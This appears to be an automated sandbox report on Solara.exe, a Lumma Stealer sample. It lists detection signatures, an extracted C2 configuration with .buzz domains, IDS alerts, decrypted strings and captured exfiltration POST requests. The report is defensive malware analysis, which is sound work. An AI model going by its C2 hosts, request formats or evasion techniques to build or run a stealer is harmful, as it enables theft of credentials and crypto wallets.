Edit tour

Windows Analysis Report
Solara.exe

Overview

General Information

Sample name:	Solara.exe
Analysis ID:	1581432
MD5:	a58debbc1c1961456ca288898e937ffb
SHA1:	018e99304ae7b0d1fbae772daab0acd5afb5f3c6
SHA256:	08d7909a9758d3c8e1492e5f83721acb930300d182ec2877dbe59bddd251e602
Tags:	exeuser-JaffaCakes118
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Solara.exe (PID: 7556 cmdline: "C:\Users\user\Desktop\Solara.exe" MD5: A58DEBBC1C1961456CA288898E937FFB)

conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Solara.exe (PID: 7620 cmdline: "C:\Users\user\Desktop\Solara.exe" MD5: A58DEBBC1C1961456CA288898E937FFB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "mindhandru.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "rebuildeso.buzz", "appliacnesot.buzz"], "Build id": "yau6Na--629912535"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Solara.exe PID: 7620	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Solara.exe PID: 7620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Solara.exe PID: 7620	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Solara.exe PID: 7620	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T16:20:58.059815+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T16:21:00.150427+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T16:21:02.536177+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T16:21:04.940094+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T16:21:07.237305+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T16:21:09.801267+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	172.67.165.185	443	TCP
2024-12-27T16:21:12.337000+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.165.185	443	TCP
2024-12-27T16:21:16.149908+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T16:20:58.825403+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T16:21:00.929153+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T16:21:16.932910+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T16:20:58.825403+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49733	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T16:21:00.929153+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49734	172.67.165.185	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T16:21:12.351028+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49739	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://mindhandru.buzz:443/apiE_	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiza2	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api0u0u	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/Z	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiB&	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apiRd	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ndows	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/D	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "mindhandru.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "rebuildeso.buzz", "appliacnesot.buzz"], "Build id": "yau6Na--629912535"}

Machine Learning detection for sample

Source: Solara.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--629912535

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_004150E9 CryptUnprotectData,

2_2_004150E9

Source: Solara.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_00221FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00221FE9

Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+78D47264h]	2_2_0040C06F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+78D47264h]	2_2_0040C06F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_004150E9
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_0043D0BC
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax]	2_2_0042B73E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042B73E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+edi+64F798A8h]	2_2_0042B73E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov esi, ecx	2_2_0042187F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_0042187F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then lea edx, dword ptr [esp+0Dh]	2_2_0042187F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_0043EBB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx eax, di	2_2_00425CD0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_00425CD0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-490B343Ah]	2_2_00437D90
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp byte ptr [eax+edi+09h], 00000000h	2_2_00437D90
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_0043C010
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx]	2_2_004250C0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then xor byte ptr [esp+ecx+68h], cl	2_2_0041608C
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+38h]	2_2_00426150
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-24036751h]	2_2_00426170
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00426170
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000082h]	2_2_00423180
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebp, word ptr [eax]	2_2_0043F220
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042D2B4
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042D2B4
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	2_2_0042A360
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+0309C065h]	2_2_0040C30B
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov eax, dword ptr [00444D38h]	2_2_0040D3C3
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_00407430
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_00407430
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [ecx], dl	2_2_00417494
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-1Ch]	2_2_0043849F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 3D17632Eh	2_2_0043B4B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	2_2_004274B5
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax-000000E7h]	2_2_0043C559
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx]	2_2_0041457C
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000082h]	2_2_00423520
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+12h]	2_2_00409650
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, bx	2_2_00423650
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-07FC5FBDh]	2_2_0040C6F5
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov dword ptr [esi+14h], eax	2_2_00429680
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000082h]	2_2_00423680
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3Ch]	2_2_0041A722
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then test eax, eax	2_2_00438730
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004357C0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	2_2_0043B780
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then jmp eax	2_2_00424789
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, ebx	2_2_00424789
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, edx	2_2_0040A840
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_0041D860
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00429810
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ebx, eax	2_2_004058E0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ebp, eax	2_2_004058E0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp word ptr [edi+edx+02h], 0000h	2_2_0041B8F0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	2_2_004298B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042CA59
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_00428B40
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000000B4h]	2_2_00418BC2
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax]	2_2_0042BC22
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042BC22
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+edi+64F798A8h]	2_2_0042BC22
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov word ptr [ecx], bx	2_2_0041BCCE
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-491290D7h]	2_2_0041BCCE
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov edi, eax	2_2_0040ACD0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx-7E3BC487h]	2_2_00427CDD
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov word ptr [ecx], bx	2_2_0041BCBB
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-491290D7h]	2_2_0041BCBB
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	2_2_00414D0A
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0041CE00
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	2_2_00429E00
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov ecx, eax	2_2_00413EB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then cmp dword ptr [ecx+edi*8], 2DFE5A91h	2_2_0043EF50
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov edi, eax	2_2_00408FF0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_00408FF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49734 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49733 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49739 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: Joe Sandbox View

IP Address: 172.67.165.185 172.67.165.185

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.165.185:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DUA4BN7M2HKUX0SZMMZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18173Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QBD10WBWROF7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8752Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4V5NXPZBSP7Q7O7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20423Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=826W8W5G6DWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1228Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IWMGITR0XK6E94L5XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570559Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: mindhandru.buzz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: Solara.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Solara.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Solara.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Solara.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Solara.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831693349.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Solara.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Solara.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Solara.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
